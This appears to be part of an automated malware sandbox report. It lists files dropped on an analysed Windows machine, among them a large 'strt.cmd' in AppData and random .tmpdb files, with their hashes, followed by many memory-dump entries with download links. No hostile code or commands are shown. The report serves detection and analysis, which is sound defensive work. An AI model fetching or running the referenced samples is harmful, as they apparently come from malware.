SHA256 c0c37fd6fb26d101e347a1e9b5190029bb591d8c57392dbf2df4741b11fc2dfa
MD5 cc2ce575753731574bf10ff6e5162032
SHA1 b660e5156f97af770e5d359fdd2a6ea697f359fb
SHA512 715bb49c3977d51ff39b0458b99c5e3ba786e3110a4015402cd023b484ff385704475238fb813d074524d76bc733b0d4e92b57b64d187b3d6a664e4f38eebc1b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f800f058170cc700372c3a364c5ba3b6d2c91fb5369fbab3362915937869b2f5
MD5 1a8c1ef4d60201112bef699b1f57df70
SHA1 6a5fed4208f14dcec7f760c532d8bff29e1cdbd8
SHA512 339f88ebf5026548795a0624e23606b4de439995ae14d38ce8ae66fd9154a5751d17f6c51b7d5c2a93a4d52e051fb0184a6fc4e85f9607d11fb02d538305ea9c
MD5 SHA1 SHA512

Submit Download

Fjayehd.tmpdb

Path C:\Users\Admin\AppData\Local\Temp\Fjayehd.tmpdb
Size 124KB
SHA256 a4cd72e529e60b5f74c50e4e5b159efaf80625f23534dd15a28203760b8b28ab
MD5 9618e15b04a4ddb39ed6c496575f6f95
SHA1 1c28f8750e5555776b3c80b187c5d15a443a7412
SHA512 f802582aa7510f6b950e3343b0560ffa9037c6d22373a6a33513637ab0f8e60ed23294a13ad8890935b02c64830b5232ba9f60d0c0fe90df02b5da30ecd7fa26
SSDEEP 96:hBWU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:hBl+bDo3irhnyTpvVj3XBBE3u
MD5 SHA1 SHA512 SSDEEP

Submit Download

Ppdpfkviccf.tmpdb

Path C:\Users\Admin\AppData\Local\Temp\Ppdpfkviccf.tmpdb
Size 148KB
SHA256 7cf3e9e8619904e72ea6608cc43e9b6c9f8aa2af02476f60c2b3daf33075981c
MD5 90a1d4b55edf36fa8b4cc6974ed7d4c4
SHA1 aba1b8d0e05421e7df5982899f626211c3c4b5c1
SHA512 ea0838be754e1258c230111900c5937d2b0788f90bbf7c5f82b2ceda7868e50afb86c301f313267eaa912778da45755560b5434885521bf915967a7863922ae2
SSDEEP 96:gRleseU+bF+UIYysX0xnqyZoTtczVHNrLBL7wC68:gKQ+bF+UI3ikqyZWOzVHRx7wl
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_tgtcs3z2.krx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tgtcs3z2.krx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

strt.cmd

Path C:\Users\Admin\AppData\Roaming\strt.cmd
Size 1.1MB
SHA256 52501396a535fa409f71a5ed5fe4070f39451d95e7e3b0f078f918ee91874b4e
MD5 b8e9ec0cedba5373daecbf2a39f901cb
SHA1 6437ee39381faf3f9ed07fd3d6ddb92417eb6082
SHA512 4bd6885fbe04dcc9c57f4b032660f6dd79ec4ef80910afe7f7a408878c286114619357f156b8d1ea7e3763903e4057201fefdc5071ce60169f5881a2187738b0
SSDEEP 24576:BHpbJ6X869EsjqBWgO7nsB+fhdWQcAJSkW8F3UomTvCl:96H29+Zt/mE
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/316-126-0x000001F89F1B0000-0x000001F89F1C0000-memory.dmp

Download

memory/316-128-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/316-120-0x000001F89F1B0000-0x000001F89F1C0000-memory.dmp

Download

memory/316-119-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/1896-60-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/1896-10-0x000001DF281C0000-0x000001DF28204000-memory.dmp

Download

memory/1896-13-0x000001DF0BD40000-0x000001DF0BD50000-memory.dmp

Download

memory/1896-14-0x000001DF0BD40000-0x000001DF0BD50000-memory.dmp

Download

memory/1896-15-0x000001DF28290000-0x000001DF28306000-memory.dmp

Download

memory/1896-85-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/1896-11-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/1896-12-0x000001DF0BD40000-0x000001DF0BD50000-memory.dmp

Download

memory/1896-32-0x000001DF28310000-0x000001DF283E8000-memory.dmp

Download

memory/1896-31-0x000001DF28190000-0x000001DF2819A000-memory.dmp

Download

memory/1896-9-0x000001DF27DA0000-0x000001DF27DC2000-memory.dmp

Download

memory/1896-63-0x000001DF0BD40000-0x000001DF0BD50000-memory.dmp

Download

memory/1896-70-0x000001DF0BD40000-0x000001DF0BD50000-memory.dmp

Download

memory/2196-45-0x000001F6B24A0000-0x000001F6B24B0000-memory.dmp

Download

memory/2196-43-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/2196-44-0x000001F6B24A0000-0x000001F6B24B0000-memory.dmp

Download

memory/2196-47-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/3068-17-0x000001F69CA70000-0x000001F69CA80000-memory.dmp

Download

memory/3068-18-0x000001F69CA70000-0x000001F69CA80000-memory.dmp

Download

memory/3068-30-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/3068-16-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/3612-65-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/3612-62-0x0000020AEEA50000-0x0000020AEEA60000-memory.dmp

Download

memory/3612-50-0x0000020AEEA50000-0x0000020AEEA60000-memory.dmp

Download

memory/3612-49-0x0000020AEEA50000-0x0000020AEEA60000-memory.dmp

Download

memory/3612-48-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/3636-98-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/3636-96-0x000001F506710000-0x000001F506720000-memory.dmp

Download

memory/3636-86-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/4140-111-0x000001D7D46D0000-0x000001D7D46E0000-memory.dmp

Download

memory/4140-113-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/4140-100-0x000001D7D46D0000-0x000001D7D46E0000-memory.dmp

Download

memory/4140-99-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/5032-136-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-170-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-130-0x000001E029B20000-0x000001E029C36000-memory.dmp

Download

memory/5032-132-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-131-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-134-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-84-0x000001E027300000-0x000001E027310000-memory.dmp

Download

memory/5032-138-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-140-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-142-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-144-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-146-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-148-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-152-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-150-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-154-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-156-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-158-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-160-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-162-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-164-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-166-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-168-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-129-0x000001E029A40000-0x000001E029B18000-memory.dmp

Download

memory/5032-172-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-174-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-176-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-178-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-180-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-182-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-184-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-186-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-188-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-190-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-193-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-195-0x000001E029B20000-0x000001E029C30000-memory.dmp

Download

memory/5032-345-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/5032-1155-0x000001E027300000-0x000001E027310000-memory.dmp

Download

memory/5032-2412-0x000001E029C30000-0x000001E029CCE000-memory.dmp

Download

memory/5032-2413-0x000001E029CD0000-0x000001E029D1C000-memory.dmp

Download

memory/5032-2414-0x000001E027300000-0x000001E027310000-memory.dmp

Download

memory/5032-2415-0x000001E029D20000-0x000001E029D4A000-memory.dmp

Download

memory/5032-2416-0x000001E029EA0000-0x000001E029F1A000-memory.dmp

Download

memory/5032-83-0x000001E027300000-0x000001E027310000-memory.dmp

Download

memory/5032-82-0x000001E027300000-0x000001E027310000-memory.dmp

Download

memory/5032-81-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download

memory/5032-2469-0x00007FFE67610000-0x00007FFE680D1000-memory.dmp

Download